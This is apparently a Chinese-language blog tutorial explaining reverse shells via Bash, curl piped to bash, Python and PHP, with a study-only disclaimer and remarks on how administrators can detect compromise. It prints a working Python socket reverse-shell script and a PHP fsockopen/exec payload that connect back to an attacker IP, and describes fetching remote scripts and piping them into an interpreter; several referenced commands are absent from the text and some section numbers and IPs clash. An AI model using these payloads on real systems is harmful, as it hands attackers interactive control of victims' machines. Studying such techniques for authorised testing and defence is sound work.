反弹Shell的方式和详解
文章目录
声明:以下的反弹shell的介绍只适用于学习和授权情况下的操作,请勿用于非法环境!
一、介绍
1.1 含义
攻击者所在机器连接目标机器为正向连接(如:远程桌面、ssh等),反向连接弹shell(即反弹shell为攻击者为服务端,受害者主机为客户端主动连接攻击者的服务端)
1.2 目的
- 攻击了一台主机需要在自己的机器上交互式地执行目标机器中的cmd/bash命令
- 遇到各种AV(AntiVirus,杀软)无法直接反弹到MSF/CS中,可先反弹到cmd/bash终端中再进行下一步操作
二、反弹方式
2.1 Bash 反弹shell
2.1.1 适用对象
- 目标为Linux系统
2.1.2 操作方法
攻击者:192.168.123.192
受害者:192.168.159.129
攻击者nc监听端口:
受害者执行:
攻击者成功拿到一个cmd shell:
2.1.3 命令原理
大致介绍:
通过查看受害者运行的服务可知:在受害者本地开启了一个bash通过46944端口向远程地址192.168.123.192的19111端口走tcp协议
(漏洞特征!运维可以通过此标志检查主机是否沦陷,以及远控主机是谁!此方法经典但不隐蔽!!!)
命令阐述:
命令 | 含义 |
---|---|
bash -i | 产生一个交互式的bash shell |
>& | 将标准输入和标准错误输出重定向到文件(目的:为了不在受害者终端中显示执行的命令) 当>&后边接文件时,表示将表示将标准输入输出重定向到文件 当>&后边接文件描述符时,表示讲前面的文件描述符重定向到后边的文件描述符 |
/dev/tcp/<ip>/<port> | 一个特殊的设备,打开了这个文件相当于发出了一个socket调用,建立一个socket连接 |
文件描述符 | 0 - stdin,代表标准输入 1 - stdout,代表标准输出 2 - stderr,代表标准错误输出 |
0>&1 | 将标准输入重定向到标准输出 |
举例分析:
分析1: 将受害者的交互式shell输出重定向到攻击机上,受害者执行命令,攻击者只能看到结果不能执行控制!
(开启交互式bash,输出重定向到远程)
(攻击者不能获得shell只能看到受害者输出的内容)
分析2: 使用输入重定向,将远程攻击者输入的当作命令执行(执行一次就断了)
分析3: 为了获取交互式的shell,需要使用文件描述符0>&1
将受害者的标准输入重定向到标准输出,即远程攻击者可以进行输出命令到受害者,因此可以反弹shell(缺点:受害者会显示执行的指令)
分析4: 使用>& / &>将标准输入和标准输出都重定向到文件即可完美使用bash反弹shell
2.2 Curl 反弹shell
2.2.1 适用对象
- 目标为Linux系统
2.2.2 操作方法
攻击者:192.168.123.128(kali)
受害者:192.168.159.129
攻击者启动http服务,并在站点目录下存放一个文件,里面写着bash反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件)
受害者使用curl命令访问对方url,并重定向到bash
攻击者成功接到shell
2.2.3 命令原理
使用curl访问远程站点下文件,并使用管道符重定向到bash(间接地使用了bash一句话)
运维人员通过查看服务可以轻松发现主机已沦陷
2.3 Python 反弹shell
2.3.1 适用对象
- 目标系统需安装python(Linux / Windows)
2.3.2 操作方法
攻击者:192.168.123.128(kali)
受害者:192.168.159.129
攻击者已知目标服务器上存在python环境
攻击者启动http服务,并在站点目录下存放一个py文件,使用socket建连反弹shell(真实情况下需要VPS上部署HTTP服务,并建立如下文件)
(reverse_py_shell.py中代码如下:)
#!/usr/bin/python
#-*- coding: utf-8 -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.159.128",19111)) #更改IP为自己的外网IP,端口自定义
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
攻击nc监听shell连接
受害者主机中执行
攻击者成功获取到shell
2.3.3 命令原理
受害者使用curl命令工具访问攻击者站点上的反弹shell的python脚本,并通过管道符调用python解析器执行
运维人员通过查看服务可以轻松发现主机已沦陷
2.4 PHP反弹shell
2.2.1 适用对象
- 目标系统需安装PHP,如windows下的需要配置PHP环境变量(Linux / Windows)
2.3.2 操作方法
攻击者:192.168.159.128(kali)
受害者:192.168.159.128(在windows上实验反弹失败)
攻击者已知目标服务器上存在php环境
攻击者启动http服务,并在站点目录下存放一个txt文件,里面写着php反弹shell命令(真实情况下需要VPS上部署HTTP服务,并建立如下文件)
(PHP脚本内容如下:)
<?php
$sock=fsockopen("192.168.159.128",19111); // IP为自己的外网IP,端口自定义
exec("/bin/sh -i <&3 >&3 2>&3");
?>
攻击者nc监听shell
受害者执行如下命令
攻击者成功获得shell
2.3.3 命令原理
php使用socket进行shell反向连接
运维人员通过查看服务可以轻松发现主机已沦陷
上一篇: ROP及栈溢出
下一篇: format2(xctf)